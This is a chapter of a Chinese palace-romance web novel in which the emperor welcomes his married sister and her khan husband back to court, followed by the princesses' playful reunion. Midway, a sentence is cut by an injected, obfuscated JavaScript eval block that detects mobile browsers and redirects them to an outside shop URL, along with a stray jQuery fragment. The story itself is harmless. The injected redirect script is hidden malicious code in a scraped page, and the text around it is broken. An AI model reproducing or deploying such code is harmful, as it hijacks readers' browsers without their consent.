王德才得了命令,立马转身往外走。萧临渊高兴的拿着纸翻来覆去的看,咧着的嘴半天都合不拢。
“行了别笑了,再笑嘴角都要裂开了。”温镜辞摸了摸头上的发饰,一转头发现萧临渊还拿着纸在一旁高兴。
这不知道的还以为他中邪了。
萧临渊将纸重新叠起来放进袖子里,拍了拍袖口确保不会在做动作时突然掉出来。
“我当然要笑了,我都多久没有见到昭宁了。谁知道那个可汗会不会对昭宁好,他要是对昭宁不好,我立马就把人要回来。”
温镜辞瞧着对方的护妹心切的样子无奈笑着摇了摇头,好心提醒道。
“知道你当哥哥的保护妹妹心切,但晚上可千万别在人家可汗面前说些有的没的。”
“啊?为什么?”
萧临渊倒是不明白这些问题跟当面说到底有什么联系。
“你傻啊,当着这么多人的面,自然什么顾全面子的话都说得出口,什么对我很好啊,天天给我干这个干那个之类的话,自然都能说得出来。你要想知道真相,自然是得屏退众人后,偷偷的问。”
温镜辞边说边用手势在空中画了画,做了几个手势,对方瞬间就明白这到底是怎么一回事了。
“噢——原来如此,我知道了。”
萧临渊点头,表示自己学会了。于是在当天晚上的席面上,萧临渊可一直谨记着温镜辞给出的方法。
天还没黑之前,可汗便带着昭宁入了城,由萧临渊早就准备好的人过去接应,不消片刻,人便已经入了宫。
两人入宫之后要做的第一件事情,就是去见了萧临渊。
“参见皇上。”
“起来吧。”
萧临渊低头看着下首还跪在地上的昭宁,这才多久没见,仅仅也只是几个月而已,这又换了一身衣服,便已然有些认不出来了。
昭宁抬头看向萧临渊的方向,两人对视后皆是一笑。
“洪涝的事情我们也听说了,所以早早便回来了,只是没想到正好跟皇兄的信鸽错过。只是,今日入城时,瞧着城中的情况,百姓似乎并未受洪涝的影响。”
昭宁说完看向身旁的可汗,对方也点了点头。
“百姓安居乐业,街道热闹非凡,瞧着倒不像是经历了如此天灾的场面。”
这么长时间以来,可汗那略带口音的话似乎也有了很大的好转,应当是昭宁平日里也有教他,现在听来倒像是那么回事儿了。
“是啊,洪涝才结束了没两月,能做到现在这个样子,皇兄真是辛苦了。”
“无碍,也是多亏了前期在发现天象异常后,东西准备的充足,洪涝结束后所有人皆都有出力,这才能实现短期内重振大梁的壮举。”
“皇兄能做到这些,真是让我们自愧不如。”可汗说道。
萧临渊摆了摆手,岔开了这个话题。
“你们这次准备在大梁呆多久?”
可汗看向昭宁,示意这个问题由她自己来回答比较好,昭宁对上可汗的眼神,便也懂了对方的心思。
“本来是想着早些来,能来帮忙,预计也是要在大梁呆上几个月再走的,只是没想到皇兄处理的如此之快。”
昭宁说到一半突然笑了。
“既然皇兄动作如此之快,那我们也只好赖在大梁呆一段时间,什么都不做了。”
昭宁话音刚落,三人皆笑出了声。
“这才离开大梁多久,连昭宁都学会开玩笑打趣人了。”萧临渊笑着说道。
他也确实能看得出来昭宁跟以往在宫里的样子完全不同,之前一直端着公主的样子,端庄大方让人挑不出来过错。
平日里礼仪面面俱到,说出口的话,所表达的真实意思能拐好几个弯,现在倒是能正大光明的笑,敢出口打趣人了。
倒是个不小的改变。
看来这可汗也不像是他认为的坏人,这草原也不像是他认为的那穷乡僻壤,磋磨人的地方。
“皇兄切勿见怪,只是昭宁在草原上习惯了,这才一时半刻没能改的回来。”可汗连忙解释道。
刚才还瞧着萧临渊脸上的表情十分正常,这才不过须臾,表情就又发生了变化,生怕对方不乐意,他连忙解释道。
“无奈,本来就没生气。瞧着昭宁如今这般有活力的样子,比在宫里死气沉沉的样子好多了,朕很高兴。”
昭宁这下才意识到自己刚才的举动和话语有多失礼,这也是从前在宫里不会做的事情。
来之前还不停的谨记,回去了之后一定不能把草原上那副随心所欲的样子拿出来。
没想到聊天一开心,就把这茬给忘记了。
昭宁低头行礼:“多谢皇兄体恤。”
“既然已经回来了,那就还住到之前的地方去,那里常有人打扫。正好前几天永安还问我,你中秋节会不会来,你出嫁离开那天,她可是站在城墙上哭了全程。”
昭宁收起了脸上的笑容,只是点了点头:“我看到她在哭了,她经常找人给我送书信,只是往返时间太长。她这边刚发生过的事情,等我知道的时候,都已经过了很久了。”
得知永安给昭宁送信这件事情,萧临渊倒还是很惊讶的,这么久了他居然丝毫没发现,也完全不知情。
不过,两个姐妹之前互通信件,倒也无碍。
“正好趁这段时间,你们两姐妹好好聊聊天。”
昭宁点了点头:“好。”
“对了皇兄,这次回来带了很多草原上特有的东西,应该都是皇兄没见过的,一会儿拿给皇兄看看。还有很多新鲜的吃食呢,也请皇兄尝尝。”
“好啊。”
昭宁离开养心殿之后,便带着可汗去了她从前的住处,而永安在听说昭宁回来了之后,便一直等在门口。
远远瞧见一群人后,永安立马拎着衣摆快速的跑过去。
“姐姐!”
昭宁正给可汗介绍着四周的建筑,以及周围的花卉名字,便听到了由远及近的喊声,一抬头一个粉色的身影便直直扑进自己怀里,她连忙伸手接住。
“姐姐!”
永安紧紧抱着昭宁的腰,抬头看向她,甜甜的喊道。
昭宁笑着摸摸永安的头发:“跑慢点,别摔了。”
“早就听下人说姐姐要回来了,便早早等在门口,好不容易才把姐姐盼回来,自然要好好抱一抱。姐姐,永安可想你了。”
“我也想你,瞧着你近日是不是瘦了?”
永安飞快点头:“洪涝那几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709180|206026||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
日日日忧心,整日又是下雨又是打雷的,吃不好睡不好,可不是要瘦嘛。”
“我带了草原上的好吃的,一会儿给你尝尝。”
“真的?那我们快走。”
永安兴奋的拉着昭宁往里面进,可汗拎着昭宁的东西跟在两姐妹身后,看她们吵吵闹闹的说话。
“姐姐,你是不知道我有多想你,自从你走后,宫里就没人陪我玩了,前朝的那些大臣还想让我跟皇亲贵胄见面,让皇兄给我相看,幸好皇兄拒绝了,要不然你今天可是要见不到我了。”
这件事情昭宁还是第一次听说,永安之前在信里也没有提起来过,没想到这才短短的几个月,就出了这么多的事情。
“真的?你怎么都没跟我说过啊?”
永安撇了撇嘴:“没什么好说的,姐姐离得那么远说了也是让你白担心,不过现在也没嫁不是嘛。而且皇兄说,我的亲事全凭我自己做主。”
昭宁笑着点了点永安的脑袋,笑骂道。
“你个小姑娘家家的,整日婚事婚事的挂在嘴上,也不怕害臊。”
“这有什么害臊的!”永安反驳道,“人本来就有这一遭,况且皇兄说了,就算是我一辈子不嫁人,皇兄也会养我一辈子,绝不让旁人说我的坏话。”
昭宁的笑容停顿了一瞬,刚才永安说的话,以及自己在和亲之前皇兄说过的那一句句的话还犹在耳旁,她倒是相信皇兄是真的能养永安一辈子。
按照永安的性子,去了旁的皇亲贵胄家里,受着规矩的束缚,这不能做那不能做的,反倒抑制了她本来的天性。
就是养在宫里一辈子也没什么不好的,她现在也都想开了,随心所欲的活着是真的挺舒服的。
“养一辈子也好,皇兄既然能说养你,就一定不是随口说说便算了的。到时候皇兄有了孩子,你还能跟孩子一起玩。”
两人聚在一起笑作一团,笑着笑着永安突然想起来一件事情,她谨慎的看了眼不远处可汗的身影,凑过去小声的跟昭宁嘀嘀咕咕。
“姐姐,你说皇兄都这么久了,怎么还没生下个孩子啊?你跟姐夫什么时候能生个小宝宝啊?”
昭宁的脸唰的一下全红了,她气恼的抓着永安的耳朵往外扯。
“你个小姑娘家家的,再讨论这种事情我可是要揍你了!”
可汗原先还在一旁四处看宫中陈列的物品,完全没管两姐妹凑到一起谈论些什么内容。
突然听到昭宁的气恼的声音,一转头便看见昭宁正揪着永安的耳朵,昭宁的脸上和耳朵上皆染上了粉色。
“怎么了?怎么还生气了?”
昭宁听到可汗的声音立刻松了手,偏了偏头故意不让他看见,僵硬着说。
“没什么,姐妹俩闹着玩呢。”
永安捂着被扯红的耳朵委屈巴巴的撇着嘴看着昭宁,转头就朝着可汗告状。
“姐夫,我就是问问姐姐什么时候能生出个小娃娃,她就扯我的耳朵。”
这下不仅仅是昭宁红了脸,可汗的脸更红了,就连身旁陪着的宫女太监都统统红了个遍。
永安转头看向四周都满脸通红,以及越走越远的可汗,还搞不清楚发生了什么。
“怎么了这是?我不就问了个问题吗?”